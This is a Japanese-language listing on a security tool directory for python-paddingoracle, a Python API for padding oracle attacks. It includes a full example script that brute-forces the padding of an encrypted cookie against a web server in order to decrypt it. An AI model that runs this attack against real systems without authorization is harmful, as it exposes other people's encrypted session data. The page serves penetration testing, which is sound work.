Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
python-paddingoracle — A portable, padding oracle exploit API | Kitploit
ツール/GitHubGitHub/mwielgoszewski/python-paddingoracle
Encryption/Decryption ToolsExploitationWeb Application ExploitationCryptographyPenetration Testing
GitHubmwielgoszewski/python-paddingoracle

python-paddingoracle

A portable, padding oracle exploit API

リポジトリを見る
331733年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

python-paddingoracle: ポータブルなパディングオラクル攻撃API

PYTHON 3 対応

python-paddingoracle は、ペネトレーションテスターに、PadBuster_ やその他のパディングオラクル攻撃ツールのカスタマイズ可能な代替手段を提供するAPIです。これらのツールは、(大規模な書き直しなしでは)独自のアプリケーション固有のシナリオで簡単に使用できません。非HTTPアプリケーション、rawソケット、クライアントアプリケーション、独自のエンコーディングなどを考えてみてください。

使い方:

paddingoracle API を使用するには、PaddingOracle API の oracle() メソッドを実装し、復号処理がパディングオラクルを明らかにしたときに BadPaddingException を発生させるだけです。データを復号するには、暗号化された生のバイト列をブロックサイズ(通常は8または16)とオプションの iv パラメータとともに decrypt() に渡します。

以下の例を参照してください(the example_ より): ::

root@kitploit:~
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                response = self.session.get('http://www.example.com/',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if response.ok:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print('Usage: %s <somecookie value>' % (sys.argv[0], ))
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_cookie = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))

クレジット

python-paddingoracle は、Gotham Digital Science の Brian Holyfield によって開発された、Padding Oracle 攻撃を実行するための自動化スクリプトである PadBuster_ をベースにした Python 実装です。

.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py .. _PadBuster: https://github.com/GDSSecurity/PadBuster

ツールをダウンロード